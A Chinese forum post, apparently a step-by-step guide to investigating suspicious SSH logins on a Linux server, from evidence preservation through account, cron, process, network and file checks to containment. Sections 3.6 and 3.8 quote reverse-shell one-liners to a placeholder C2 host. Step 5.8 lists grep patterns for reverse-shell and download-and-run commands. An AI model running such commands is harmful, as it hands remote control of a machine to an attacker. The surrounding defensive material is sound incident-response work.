找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4218

积分

0

好友

554

主题
发表于 2 小时前 | 查看: 3| 回复: 0

一、问题背景

运维收到一条短信告警:“Accepted publickey for opsuser from 1.2.3.4 port 54321”。来源 IP 是某海外云厂商的 IP 段,时间是凌晨 3 点。opsuser 这个账号到底是不是本人在操作?是不是已经被攻陷了?

类似场景几乎每周都在生产环境发生。任何暴露在公网的主机,每天都会遭受数十万次扫描——字典爆破、撞库、0day 和社工钓鱼,这些攻击手段最终都会在登录日志里留下清晰的足迹。能不能第一时间发现、定位、止血,正是衡量运维基本功的关键指标。

这篇文章不聊那些高大上的安全产品,只聚焦一件事:当你拿到“服务器异常登录”线索后,面对一台已经被盯上的 Linux 主机,如何照着一串命令把现场摸清楚、根因找出来、修复做到位、证据留完整。

排查过程分两条线并行推进:

  1. 被动验证:日志里已经留下了登录痕迹,你需要判断这些登录是否正常。
  2. 主动溯源:怀疑系统已被突破,你迫切需要找到攻击者的所有动作、植入的后门、以及横向移动的路径。

这两条线在生产环境里经常纠缠在一起。多数情况是,你先发现了被动线索(如陌生 IP 登录),再顺着这条线索逆推去做主动溯源——这台机器是不是已经成了跳板?有没有被植入诡异的计划任务?是否存在指向 C2 服务器的异常外联?

排查的核心原则必须刻在脑子里:

  • 不要在没取证的情况下就直接重启机器。
  • 不要在排查过程中执行 rm -rf /tmp/*history -c 这类毁灭性操作。
  • 每个动作都必须是可逆、可回滚的。
  • 所有命令输出都要保存到带时间戳的备份目录中。
  • 涉及 KILL、停服、改防火墙的敏感操作,必须双人复核。

二、适用场景

本文适用于以下情况:

  1. 监控告警触发 SSH 成功登录异常(表现为陌生 IP、非工作时间活跃、陌生账号)。
  2. /var/log/secure 出现大量 Failed password 后突然紧跟着一条 Accepted password,这是教科书式的爆破成功痕迹。
  3. 服务器出现可疑进程、可疑外联、可疑定时任务,你怀疑它可能已经被入侵。
  4. 主机 CPU、内存或带宽出现异常飙升,这可能是被植入了挖矿程序、DDoS 工具或是僵尸网络客户端。
  5. 核心配置文件被篡改,比如 /etc/ssh/sshd_config 被开启危险选项、/etc/passwd 莫名多了用户、/etc/crontab 被写入可疑任务。
  6. 主机被安全部门、SOC 或护网行动通报,需要紧急排查。
  7. 主机被云厂商或威胁情报平台标记为恶意 IP 来源。
  8. 内网横向移动排查——已知某台主机沦陷,需要快速排查同网段的其他“邻居”。
  9. 主机被客户或第三方通报存在数据泄露风险。
  10. 主机下线前的最后一次安全审计。

本文不适用于:

  • DDoS 攻击的流量层防护(本文聚焦 SSH 登录与权限层)。
  • Web 应用层入侵(如 SQL 注入、WebShell 上传),那需要另一套排查思路。
  • 数据库入侵,这应该走数据库自身的审计日志。
  • 容器、Serverless 环境的入侵排查。
  • 内核态的 rootkit,这类威胁通常需要更专业的内存取证工具介入。

三、核心知识点

3.1 SSH 登录全链路

想排查 SSH 异常登录,你首先得在脑子里把一次完整 SSH 登录所涉及的所有组件“走”一遍:

client ssh/scp/sftp
  → DNS 解析(hostname → IP)
  → TCP 三次握手
  → SSH 协议握手(协议版本、算法协商)
  → 服务器认证(主机密钥)
  → 用户认证(密码 / 公私钥 / keyboard-interactive)
  → PAM 认证(账号、口令、双因素)
  → 审计日志写入(secure / auth.log / auditd)
  → 用户环境加载(profile / .bashrc)

在这条链路的每一环,都有日志可查:

  • DNS:/var/log/messagessystemd-resolved 日志。
  • TCP:/var/log/messages、conntrack 表。
  • 协议:/var/log/secure(sshd 日志)。
  • 认证:/var/log/secure(PAM 日志)。
  • 审计:/var/log/audit/audit.log

3.2 Linux 登录与会话信息

  • last:读取 /var/log/wtmp,展示历史成功登录记录。
  • lastb:读取 /var/log/btmp,展示历史失败登录记录。
  • lastlog:读取 /var/log/lastlog,展示每个用户的最后一次登录时间。
  • who:读取 /var/run/utmp,展示当前在线用户。
  • wwho 的扩展,展示当前在线用户及其当前进程。
  • ac:显示每个用户的累计在线时长。
  • utmpdump:将 wtmp/btmp 文件转为可读文本。

这些工具都依赖于 utmp/wtmp/btmp 这三个二进制文件。要知道,攻击者常常会篡改甚至擦除这些文件来隐藏踪迹,所以务必对比它们的时间戳与文件大小。

3.3 SSH 配置文件

核心关注以下几个配置项:

  • PermitRootLogin:是否允许 root 直接远程登录。
  • PasswordAuthentication:是否允许使用密码登录。
  • PubkeyAuthentication:是否允许使用公私钥登录。
  • AllowUsers / AllowGroups:SSH 登录的用户或组白名单。
  • MaxAuthTries:单次连接的最大尝试次数。
  • LoginGraceTime:登录认证的超时时间。
  • AuthorizedKeysFile:公钥文件的存放路径(默认是 .ssh/authorized_keys)。

在被攻击的主机上,最常见的异常痕迹包括:

  • PermitRootLogin yes,root 远程登录被暴力开启。
  • PasswordAuthentication yes,密码登录通道被打开。
  • AllowUsers / AllowGroups 白名单惨遭删除或注释。
  • 新增了来历不明的 Match 代码块。
  • 通过引入 include 片段(/etc/ssh/sshd_config.d/*.conf)悄悄覆盖了主配置。
  • AuthorizedKeysFile 被篡改为 /tmp/... 等异常路径。

3.4 Linux 账号体系

  • /etc/passwd:账号基本信息,格式为 username:x:UID:GID:comment:home:shell
  • /etc/shadow:账号密码 hash,格式为 username:hash:lastchanged:min:max:warn:inactive:expire
  • /etc/group:组信息。
  • /etc/sudoers / /etc/sudoers.d/*:sudo 授权配置。
  • /etc/pam.d/:PAM 认证配置。

需要高度警惕的可疑迹象有:

  • /etc/passwd 中存在 UID 为 0 但用户名却不是 root 的账号。
  • /etc/passwd 中 shell 为 /bin/bash/bin/sh,但 home 目录却指向可疑的 /var/.../tmp/...
  • /etc/shadow 中密码字段为空(::)或 *! 后面跟了异常字符串。
  • /etc/sudoers.d/ 里冒出了不认识的配置文件。
  • /etc/groupwheelsudo 组出现了陌生的“成员”。

3.5 计划任务与启动项

  • 用户级:crontab -l/var/spool/cron/<user>
  • 系统级:/etc/crontab/etc/cron.d//etc/cron.hourly//etc/cron.daily//etc/cron.weekly//etc/cron.monthly/
  • systemd 定时器:/etc/systemd/system/*.timer/usr/lib/systemd/system/*.timer
  • 启动脚本:/etc/rc.local/etc/init.d/
  • 开机自启:systemctl list-unit-files --state=enabled
  • .bashrc.bash_profile.profile:这些文件在用户登录时会被自动执行,是植入后门的绝佳位置。

3.6 后门检测要点

后门通常会潜伏在以下几个“阴暗角落”:

  • SSH 相关:/etc/ssh/sshd_config/usr/sbin/sshd~/.ssh/authorized_keys
  • 二进制替换:/bin//sbin//usr/bin//usr/sbin//usr/lib//usr/lib64/
  • 动态库劫持:/etc/ld.so.preloadLD_PRELOAD
  • 内核模块:/lib/modules/$(uname -r)/lsmod/proc/modules
  • 计划任务:如 3.5 所述。
  • 隐藏文件:/tmp//var/tmp//dev/shm/
  • 隐藏进程:ps 命令看不到的幽灵进程。
  • 反弹 shell:像 bash -i >& /dev/tcp/<ip>/<port> 0>&1 这类常见的反弹方式。

3.7 文件完整性检测

  • rpm -Va:RHEL/CentOS 体系下的包文件校验。
  • debsums -c:Debian/Ubuntu 体系下的包文件校验。
  • AIDE:高级入侵检测环境,通过建立基线数据库来对比文件变更。
  • Tripwire:一款经典的商业化文件完整性工具。
  • md5sum / sha256sum:用于手动对比关键文件指纹。
  • stat:查看文件的 inode、修改时间、访问时间、属性时间。

3.8 网络外联与 C2

攻击者植入后门后,通常会建立以下几种网络通道来维持控制或窃取数据:

  • 反弹 shell:bash -i >& /dev/tcp/C2/443 0>&1
  • HTTP/HTTPS 出网:周期性地向攻击者的 C2 服务器发起 GET/POST 请求。
  • DNS tunnel:利用 DNS 查询来隐秘地泄露数据。
  • 矿池外联:连接到 pool.minexmr.com 等矿池地址。
  • DDoS 工具:连接到 IRC 服务器等待接受攻击指令。
  • 内网横向移动:渗透到内网后,利用 SSH、SMB、RDP、WMI、PSExec 等方式进行扩散。

常用的检测工具有:

  • ss -antp state established:查看所有已建立的 TCP 连接。
  • netstat -an:经典的网络连接查看工具。
  • iftop:查看实时网络流量。
  • nethogs:按进程维度统计网络流量。
  • tcpdump:进行网络抓包。
  • conntrack -L:查看内核连接跟踪表。

3.9 rootkit 与内核态后门

  • chkrootkit:一款经典的用户态 rootkit 检测工具。
  • rkhunter:rootkit hunter,通过扫描已知的 rootkit 特征来进行检测。
  • unhide:专门用于查找被隐藏的进程。
  • /proc/modules vs lsmod:交叉对比二者的输出,以寻找隐藏的内核模块。
  • 内存取证工具:VolatilityRekall(这部分需要较强的专业背景)。

3.10 应急处置原则

牢记“黄金 30 分钟”原则:

  1. 立即保全现场(dmesg、journalctl、各类日志、内存快照、网络连接状态)。
  2. 切断可疑的外联(通过防火墙紧急封禁可疑 IP)。
  3. 冻结可疑账号(使用 usermod -Lpasswd -l)。
  4. 评估实际影响范围(尤其需要排查同网段的其他主机)。
  5. 立即上报给安全接口人。
  6. 实施修复(修改口令、重新签发公钥、彻底清理后门)。
  7. 彻底加固(启用双因素认证、最小化暴露面、部署监控告警)。
  8. 深刻复盘(运用 5Why 分析法、输出改进项、进行根因分析)。

四、整体排查或实施思路

排查 SSH 异常登录的整体思路可以总结为“由近及远、由浅入深、由系统到进程”:

  1. 现场保全:第一动作永远是保留证据,切忌重启或清理日志。
  2. 登录轨迹:从 last/lastb/secure 日志中提取所有登录事件,判断哪些是可疑的。
  3. 配置核对:检查 sshd_config、PAM、账号、sudo 配置是否被动过手脚。
  4. 进程维度:用 top、ps、pidstat 找出所有可疑进程。
  5. 文件维度:借助 find、md5sum、AIDE 揪出所有可疑文件。
  6. 网络维度:使用 ss、netstat、tcpdump 找出异常外联行为。
  7. 计划任务:审查 crontabsystemd-timer,定位可疑定时任务。
  8. 日志审计:检查 secure、auth.log、audit.log、wtmp 的日志完整性。
  9. 应急处置:断网、冻结、改口令、清理后门,一气呵成。
  10. 加固:启用双因素、收敛暴露面、完善监控与告警。
  11. 复盘:输出完整的时间线、根因、影响范围和改进项。

完整的排查路径,可以理解为一个“四圈防御 + 一条纵深”的框架:

  • 第一圈(网络):防火墙 / 安全组 / 端口暴露面。
  • 第二圈(认证):sshd_config / PAM / 双因素 / 公私钥。
  • 第三圈(账号):/etc/passwd / sudo / shadow / 计划任务。
  • 第四圈(运行时):进程 / 文件 / 内核模块 / 网络外联。
  • 纵深(应急):取证 / 断网 / 修复 / 复盘。

任何一层存在短板,攻击者都可能长驱直入。因此排查时,这每一层都必须毫无遗漏地走一遍,绝不能跳过。

五、实战步骤

5.1 步骤一:现场保全(首要动作)

目的:把所有可能在排查过程中被意外覆盖的关键数据先备份下来,避免任何证据丢失。

# 1. 建立带时间戳的备份目录
TS=$(date +%Y%m%d-%H%M%S)
BACKUP=/var/tmp/incident-$TS
mkdir -p "$BACKUP"/{logs,proc,config,binary,net}

# 2. 备份关键日志
cp -a /var/log/secure "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/auth.log "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/messages "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/audit/audit.log "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/wtmp "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/btmp "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/lastlog "$BACKUP"/logs/ 2>/dev/null

# 3. 备份 dmesg
dmesg -T > "$BACKUP"/logs/dmesg.txt 2>/dev/null

# 4. 备份 journald
journalctl --since "30 days ago" > "$BACKUP"/logs/journalctl-30d.txt 2>/dev/null

# 5. 备份当前进程
ps auxf > "$BACKUP"/proc/ps-auxf.txt
ps -ef > "$BACKUP"/proc/ps-ef.txt

# 6. 备份网络连接
ss -antp > "$BACKUP"/net/ss-antp.txt
ss -s > "$BACKUP"/net/ss-s.txt
netstat -anpt > "$BACKUP"/net/netstat.txt 2>/dev/null

# 7. 备份路由
ip route > "$BACKUP"/net/ip-route.txt
ip rule > "$BACKUP"/net/ip-rule.txt
ip addr > "$BACKUP"/net/ip-addr.txt

# 8. 备份当前在线
who > "$BACKUP"/who.txt
w > "$BACKUP"/w.txt

# 9. 备份关键配置
cp -a /etc/ssh "$BACKUP"/config/
cp -a /etc/pam.d "$BACKUP"/config/
cp -a /etc/passwd "$BACKUP"/config/
cp -a /etc/shadow "$BACKUP"/config/
cp -a /etc/group "$BACKUP"/config/
cp -a /etc/sudoers "$BACKUP"/config/
cp -a /etc/sudoers.d "$BACKUP"/config/
cp -a /etc/crontab "$BACKUP"/config/
cp -a /etc/cron.d "$BACKUP"/config/
cp -a /etc/cron.* "$BACKUP"/config/ 2>/dev/null
cp -a /etc/systemd/system "$BACKUP"/config/system-system 2>/dev/null
cp -a /usr/lib/systemd/system "$BACKUP"/config/system-lib 2>/dev/null

# 10. 备份关键二进制 md5
md5sum /usr/sbin/sshd /usr/bin/ssh /bin/bash /bin/sh /usr/bin/sudo \
       /usr/bin/passwd /usr/bin/su /usr/sbin/useradd /usr/sbin/userdel \
       /usr/bin/ps /usr/bin/netstat /usr/sbin/iptables \
       > "$BACKUP"/binary/md5-baseline.txt 2>/dev/null

# 11. 打包
tar -czf /var/tmp/incident-$TS.tar.gz -C /var/tmp incident-$TS
ls -la /var/tmp/incident-$TS.tar.gz

预期输出:备份目录和压缩包都已齐全。

异常表现

  • 磁盘空间不足:可通过 du -sh /var/log/* 查找大文件进行清理。
  • 某些日志文件不存在:不同发行版路径不同,需要做针对性调整。
  • cp -a 执行报错:检查 SELinux 或 AppArmor 策略。

5.2 步骤二:登录轨迹分析

# 1. 当前在线
who
w

# 2. 最近的登录记录
last -F | head -50
last -F -i | head -50    # 显示 IP(部分系统)

# 3. 最近的失败登录
lastb -F | head -50
lastb -F -i | head -50

# 4. 每个用户最近登录时间
lastlog | head -50

# 5. sshd 日志中的成功登录
grep -E "Accepted" /var/log/secure | tail -50

# 6. sshd 日志中的失败登录
grep -E "Failed password" /var/log/secure | tail -50

# 7. sshd 日志中的认证拒绝
grep -E "Connection closed by authenticating" /var/log/secure | tail -50

# 8. sshd 日志中的用户枚举尝试
grep -E "Invalid user" /var/log/secure | tail -50

# 9. 失败的公钥登录
grep -E "Failed publickey|Authentication refused" /var/log/secure | tail -50

# 10. 用 journald 拉最近 SSH 事件
journalctl -u sshd --since "7 days ago" --no-pager | grep -E "Accepted|Failed|Invalid|Connection closed" | tail -100

# 11. 统计失败次数最多的来源 IP
grep -E "Failed password" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="from") print $(i+1)}' | sort | uniq -c | sort -rn | head -20

# 12. 统计被尝试的账号
grep -E "Failed password|Invalid user" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="for") print $(i+1)}' | sort | uniq -c | sort -rn | head -20

# 13. 时间分布
grep -E "Accepted|Failed" /var/log/secure | awk '{print $1, $2, $3}' | uniq -c | tail -30

预期输出

  • last 命令的输出应该显示我们熟悉的运维 IP(如办公网、堡垒机)。
  • lastb 主要是失败记录,可能存在大量暴力破解的尝试。
  • lastlog 能清晰显示每个账号的最后登录时间。
  • 异常登录特征通常会表现为:非工作时间活跃、来源是陌生 IP、使用了陌生账号。

异常表现

  • 出现了不认识的用户成功登录 → 立即冻结该账号。
  • 认识的用户从陌生 IP 成功登录 → 立即通知本人进行确认。
  • 非工作时间发生成功登录 → 立即启动排查。
  • 在短时间内出现大量失败尝试后,紧接着出现一次成功 → 这是高度疑似爆破成功的信号。
  • wtmpbtmplastlog 文件大小发生异常(被清空或篡改)→ 高度怀疑痕迹已被攻击者清理。
  • last/lastb 的输出存在时间断层 → 日志文件可能已被截断或篡改。

下一步动作

  • 将筛选出的所有可疑事件详细记录到 incident 报告中。
  • 将可疑账号立刻列入冻结名单。
  • 进入步骤三,开始进行配置核对。

5.3 步骤三:SSH 与 PAM 配置核对

# 1. sshd_config 当前生效配置
sshd -T | grep -E "^(port|passwordauthentication|permitrootlogin|pubkeyauthentication|allowusers|allowgroups|authorizedkeysfile|logingracetime|maxauthtries|maxstartups|challengeauthentication|kbdinteractiveauthentication|usepam|authenticationmethods)\b"

# 2. 配置文件最近修改时间
stat /etc/ssh/sshd_config
ls -la /etc/ssh/

# 3. 包含的片段
grep -E "^Include" /etc/ssh/sshd_config
ls -la /etc/ssh/sshd_config.d/

# 4. 各片段的内容
for f in /etc/ssh/sshd_config.d/*.conf; do
    echo "=== $f ==="
    cat "$f"
done

# 5. 主机密钥指纹
for f in /etc/ssh/ssh_host_*_key; do
    echo "$f:"
    ssh-keygen -lf "$f"
done

# 6. authorized_keys 检查
find / -name authorized_keys -type f 2>/dev/null -exec ls -la {} \;
find / -name authorized_keys -type f 2>/dev/null -exec wc -l {} \;

# 7. 异常 authorized_keys 内容
for f in $(find / -name authorized_keys -type f 2>/dev/null); do
    echo "=== $f ==="
    cat "$f"
done

# 8. PAM 配置
cat /etc/pam.d/sshd
ls -la /etc/pam.d/sshd

# 9. PAM 模块完整性
for m in pam_unix.so pam_google_authenticator.so pam_faillock.so pam_tally2.so; do
    echo "$m:"
    find / -name "$m" 2>/dev/null
done

# 10. auditd 是否启用
systemctl status auditd
auditctl -l | grep -E "(sshd_config|sshd|authorized_keys|/etc/passwd)"

预期输出

  • PermitRootLogin noPasswordAuthentication noPubkeyAuthentication yes,这在加固后是标准配置。
  • AllowUsers / AllowGroups 已设置明确的访问白名单。
  • sshd_config 的最近修改时间应与已知的变更窗口记录吻合。
  • authorized_keys 文件中只应包含你所熟悉的运维人员公钥。

异常表现

  • authorized_keys 中发现不认识的公钥 → 立即删除。
  • PermitRootLogin yes → 立即改为 no
  • 存在 Include /etc/ssh/sshd_config.d/*.conf,且其中的片段包含不熟悉的配置 → 立即审查。
  • sshd_config 最近被修改,但没有对应的变更单记录 → 立即引起高度怀疑。
  • PAM 文件被篡改但无可追溯的变更记录 → 立即怀疑。
  • auditd 服务未启用 → 这本身就是一个严重的加固缺陷。

下一步动作

  • 将可疑配置项如实记录。
  • 请勿直接修改,务必先做备份。
  • 进入步骤四。

5.4 步骤四:账号体系核对

# 1. UID 0 的账号(root 权限)
awk -F: '($3 == 0) {print}' /etc/passwd

# 2. 可登录的账号(bash/sh/zsh/csh)
awk -F: '$7 ~ /(bash|sh|zsh|csh|fish)/ {print}' /etc/passwd

# 3. home 目录异常(/tmp、/var/tmp 等)
awk -F: '$6 ~ /^\/(tmp|var\/tmp|dev\/shm)/ {print}' /etc/passwd

# 4. shadow 文件空密码
awk -F: '($2 == "" || $2 == "!" || $2 == "*" || $2 == "!!") {print $1}' /etc/shadow

# 5. 锁定状态异常
passwd -S -a

# 6. 账号最近修改时间
ls -la /etc/passwd /etc/shadow /etc/group /etc/sudoers

# 7. sudoers 配置
cat /etc/sudoers
ls -la /etc/sudoers.d/
for f in /etc/sudoers.d/*; do
    echo "=== $f ==="
    cat "$f"
done

# 8. 密码策略
chage -l root
chage -l opsuser
# 对比最近一次改密时间

# 9. 最近新建账号
find /home /root /var -maxdepth 3 -newer /etc/hostname 2>/dev/null | head

# 10. SSH 私钥被复制痕迹
find / -name "id_*" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null | head

# 11. 用户最近活动
ls -lat /home/*/.bash_history 2>/dev/null
ls -lat /root/.bash_history 2>/dev/null
# 但攻击者常常会清,所以不要把空 history 视为"没事"

预期输出

  • 系统只应有 root 这一个 UID 为 0 的账号。
  • 你熟悉的运维账号 shell 应为 bash。
  • sudoers 配置符合预期。
  • chage 信息与变更窗口保持一致。

异常表现

  • 出现第二个 UID 0 的账号 → 立即锁定(passwd -l)并排查其来源。
  • 出现 home 目录在 /tmp 的账号 → 立即排查。
  • 出现任何陌生账号 → 立即锁定。
  • sudoers.d 下出现新文件 → 立即审查。
  • 近期的配置文件修改时间戳超出了变更窗口 → 高度怀疑非法篡改。
  • .bash_history 被清空,同时系统又存在爆破成功迹象 → 极大概率已被入侵。

下一步动作

  • 将可疑账号记录到 incident 报告。
  • 先不要直接删除账号,执行冻结操作(passwd -l usernameusermod -L username)。
  • 进入步骤五。

5.5 步骤五:计划任务与启动项核对

# 1. 当前用户的 crontab
crontab -l
crontab -u root -l
crontab -u opsuser -l

# 2. 所有用户的 crontab
for user in $(cut -f1 -d: /etc/passwd); do
    echo "=== $user ==="
    crontab -u "$user" -l 2>/dev/null
done

# 3. 系统级 crontab
cat /etc/crontab
ls -la /etc/cron.d/
for f in /etc/cron.d/*; do
    echo "=== $f ==="
    cat "$f"
done
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

# 4. systemd 定时器
systemctl list-timers --all
ls -la /etc/systemd/system/*.timer 2>/dev/null
ls -la /usr/lib/systemd/system/*.timer 2>/dev/null

# 5. systemd 服务开机自启
systemctl list-unit-files --state=enabled
ls -la /etc/systemd/system/multi-user.target.wants/

# 6. /etc/rc.local
cat /etc/rc.local
ls -la /etc/rc.local

# 7. /etc/init.d
ls -la /etc/init.d/

# 8. 用户登录脚本
ls -la /root/.bashrc /root/.bash_profile /root/.profile /root/.bash_logout
for user in /home/*; do
    echo "=== $user ==="
    ls -la "$user/.bashrc" "$user/.bash_profile" "$user/.profile" 2>/dev/null
done

# 9. systemd 用户级服务
ls -la /home/*/.config/systemd/user/ 2>/dev/null

# 10. at 队列
atq
ls -la /var/spool/at/ 2>/dev/null

预期输出

  • crontab 内容应与变更窗口的记录相符。
  • 没有陌生且奇怪的 systemd timer。
  • systemctl list-unit-files 没有陌生的服务。

异常表现

  • 出现奇怪的 crontab(指向 /tmp/dev/shm/var/tmp 目录的脚本)→ 立即停掉。
  • crontab 内容中包含 curl | bashwget | shnc 这类特征命令 → 立即停掉。
  • 出现处于异常路径下的 systemd timer → 立即停掉。
  • .bashrc 文件末尾被悄悄追加了可疑脚本 → 立即排查。
  • /etc/rc.local 在 RHEL/CentOS 7 上默认无执行权限,如果它突然有内容了 → 立即排查。

5.6 步骤六:进程维度排查

# 1. CPU 占用 TOP 10
top -c -b -n 1 | head -30

# 2. 完整进程树
ps auxf

# 3. 按 CPU 排序
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pcpu | head -20

# 4. 按内存排序
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pmem | head -20

# 5. 可疑进程(路径在 /tmp、/var/tmp、/dev/shm)
ps -eo pid,user,args | awk '/\/tmp|\/var\/tmp|\/dev\/shm/ {print}'

# 6. 没有参数或参数奇怪的进程
ps -eo pid,user,args | awk 'NF<5 {print}'

# 7. 已删除可执行文件的进程(被植入内存马)
ls -la /proc/*/exe 2>/dev/null | grep deleted

# 8. KThreads 之外的内核线程(可能有可疑模块)
ps -ef | awk '$3 == 2 {print}'

# 9. 按 PID 详细查看
PID=12345
ls -la /proc/$PID/exe
cat /proc/$PID/status
cat /proc/$PID/cmdline
ls -la /proc/$PID/fd | head -30
cat /proc/$PID/maps | head -10

# 10. 隐藏进程检测
unhide proc
unhide sys
unhide-brute

# 11. 启动时间异常的进程
ps -eo pid,user,lstart,args --sort=lstart | head -20

预期输出

  • 进程列表与安全基线相符。
  • CPU/内存占用最高的进程都是你所熟悉的业务进程。
  • 在可疑路径下没有发现任何不明进程。

异常表现

  • 发现挖矿进程(如 xmrig、minerd、kdevtmpfsi、kthrotlds 等)→ 立即取证并停掉。
  • 出现 nc、ncat、bash -i 等反弹 Shell 特征 → 立即取证。
  • 出现 curl/wget 正在下载不明脚本 → 立即停止并取证。
  • 进程的 exe 指向 deleted,但进程本身仍在运行 → 这是典型的内存马嫌疑。
  • 发现隐藏进程(unhide 能检出但 ps 看不到)→ 这是严重的 rootkit 嫌疑。
  • 某个进程的启动时间,恰好在最近一次爆破成功之后 → 极度高危。

5.7 步骤七:网络外联与可疑流量

# 1. 当前 ESTABLISHED 连接
ss -antp state established
ss -antp state established | awk '{print $5}' | cut -d: -f1 | sort -u

# 2. 按进程统计外联
ss -antp state established | grep -E "users:" | awk '{for(i=1;i<=NF;i++) if($i ~ /users:/) print $(i+1)}' | sort | uniq -c | sort -rn

# 3. UDP 连接
ss -anup state established

# 4. 监听端口
ss -tlnp

# 5. 全连接(包括 LISTEN、ESTABLISHED、CLOSE_WAIT、TIME_WAIT)
ss -anp | head -50

# 6. 路由与 ARP
ip route
ip neigh

# 7. conntrack
conntrack -L 2>/dev/null | head -50

# 8. DNS 解析缓存
journalctl -u systemd-resolved --since "1 day ago" --no-pager | tail -50

# 9. 抓包(紧急情况下短时间抓 30-60s)
tcpdump -i eth0 -nn -s0 -w /tmp/incident-$TS/capture.pcap &
TCPDUMP_PID=$!
sleep 60
kill $TCPDUMP_PID
ls -la /tmp/incident-$TS/capture.pcap

# 10. 进程级流量
nethogs -d 5 -t 2>/dev/null | head -30

# 11. 与威胁情报比对(本地 IP 库或 curl 在线 API)
# 注意:生产环境不要直接在线查询,先在内网 SOC 平台比对

预期输出

  • 所有已建立连接的目标 IP 都是你所熟知的业务 IP。
  • 监听端口列表与业务配置相符。
  • 路由表一切正常。

异常表现

  • 发现对外连接至矿池、IRC、C2 服务器的异常连接 → 立即取证并断网。
  • 出现对内网其他主机的非常规端口连接 → 这是横向移动的重大嫌疑。
  • 对 53 端口(DNS)存在大量长连接 → DNS tunnel 嫌疑。
  • 出现大量处于 CLOSE_WAIT 状态的连接 → 应用可能未正常关闭,甚至被植入了恶意模块。
  • 出现大量 SYN_SENT 状态的连接 → 这可能表明攻击者正在试图主动建立外联,但失败了。

5.8 步骤八:文件系统与可疑文件

# 1. 最近 7 天被修改的文件
find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" 2>/dev/null | head -100

# 2. /tmp、/var/tmp、/dev/shm 中的可疑文件
ls -la /tmp/ /var/tmp/ /dev/shm/ 2>/dev/null

# 3. 隐藏文件
find /tmp /var/tmp /dev/shm -name ".*" -type f 2>/dev/null

# 4. SUID/SGID 文件
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# 5. 没有任何属主的文件
find / -nouser -o -nogroup 2>/dev/null

# 6. 二进制 hash 与基线对比
md5sum /usr/bin/* /usr/sbin/* /bin/* /sbin/* > /tmp/incident-$TS/md5-current.txt 2>/dev/null
diff /tmp/incident-$TS/md5-baseline.txt /tmp/incident-$TS/md5-current.txt

# 7. RPM 包文件校验
rpm -Va 2>/dev/null | grep -E "^..5" | grep -E "/(usr/)?(s?bin|lib)"

# 8. debsums(Debian/Ubuntu)
debsums -c 2>/dev/null

# 9. LD_PRELOAD 劫持
cat /etc/ld.so.preload 2>/dev/null
ls -la /etc/ld.so.preload 2>/dev/null

# 10. 可疑的脚本文件
find / -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.rb" \) -mtime -7 2>/dev/null | head

# 11. 关键字搜索可疑内容
grep -rl "1.2.3.4" /etc /usr/local /opt /var/www 2>/dev/null | head
grep -rl "nc -e\|bash -i\|curl.*sh\|wget.*sh" /tmp /var/tmp /dev/shm 2>/dev/null | head

# 12. AIDE / Tripwire
aide --check
tripwire --check

预期输出

  • 文件的修改时间均在预期的变更窗口内。
  • 没有出现陌生的 SUID 文件。
  • 不存在 /etc/ld.so.preload 文件或其内容正常。
  • RPM/DEB 包校验全部通过。

异常表现

  • 出现不认识的 SUID 文件 → 立即排查。
  • 在 /tmp 目录下发现来历不明的脚本 → 立即取证。
  • RPM/DEB 包校验报错(..5 表示文件大小已改变)→ 立即排查。
  • 发现 /etc/ld.so.preload 文件 → 立即排查(这是经典的动态库劫持技术)。
  • 关键字搜索命中了反弹 shell 的痕迹 → 立即排查。

5.9 步骤九:日志完整性与时间线

# 1. 日志文件大小与 mtime
ls -la /var/log/secure /var/log/auth.log /var/log/wtmp /var/log/btmp /var/log/lastlog /var/log/audit/audit.log

# 2. 日志被清空/截断的迹象
wc -l /var/log/secure /var/log/auth.log
# 如果一个本来几十 MB 的日志突然变成 0 或几百字节,要警惕

# 3. logrotate 配置
cat /etc/logrotate.conf
cat /etc/logrotate.d/* | grep -A 5 -E "secure|auth"

# 4. 日志完整性(监控日志被删的钩子)
auditctl -w /var/log -p wa -k log_change

# 5. utmpdump 解析二进制日志
utmpdump /var/log/wtmp | tail -50
utmpdump /var/log/btmp | tail -50

# 6. 与远程日志服务器对比
ssh logserver "grep 'Accepted.*$(hostname)' /var/log/remote/*.log"

# 7. 关键事件时间线(用 grep 把所有 Accepted/Failed 拉出来排序)
(grep "Accepted" /var/log/secure; grep "Failed" /var/log/secure) | sort | head -200

# 8. 把时间线写到 incident 报告
cat > /tmp/incident-$TS/timeline.txt <<EOF
=== SSH Login Timeline ===
$(grep -E "Accepted|Failed|Invalid" /var/log/secure | tail -200)

=== Crontab Changes ===
$(ls -la /etc/cron* 2>/dev/null)

=== File Mtime Anomalies ===
$(find /etc /usr/local /var -mtime -3 -type f 2>/dev/null | head -50)
EOF

预期输出

  • 日志大小符合历史基线,没有异常激增或骤减。
  • logrotate 配置合理。
  • utmpdump 的输出与 last/lastb 的结果一致。
  • 梳理出的时间线清晰可读。

异常表现

  • 日志文件被突然清空或大小出现异常 → 这往往是攻击者正在清理痕迹。
  • 与远程日志服务器对比后发现结果不一致 → 本地日志大概率已被篡改。
  • 时间线出现明显断档 → 部分关键事件可能已被删除。

5.10 步骤十:应急处置

处置优先级如下:

  1. 立即冻结可疑账号:passwd -l usernameusermod -L username
  2. 立即暂停(STOP)可疑进程:kill -STOP PID(先冻结以取证),再 kill -TERM PID
  3. 立即断网(需极其谨慎,会严重影响业务):iptables -I INPUT -s <ip> -j DROP
  4. 立即修改所有受影响运维账号的密码,并重新签发公钥。
  5. 立即清理后门:删除可疑计划任务、可疑 systemd 服务。
  6. 立即加固:禁用密码登录、限制来源 IP、强制启用双因素认证。
  7. 立刻通知安全接口人、SOC,必要时通知客户。
  8. 撰写 incident 报告,内容需包含完整时间线、影响范围、根因、修复措施及改进项。
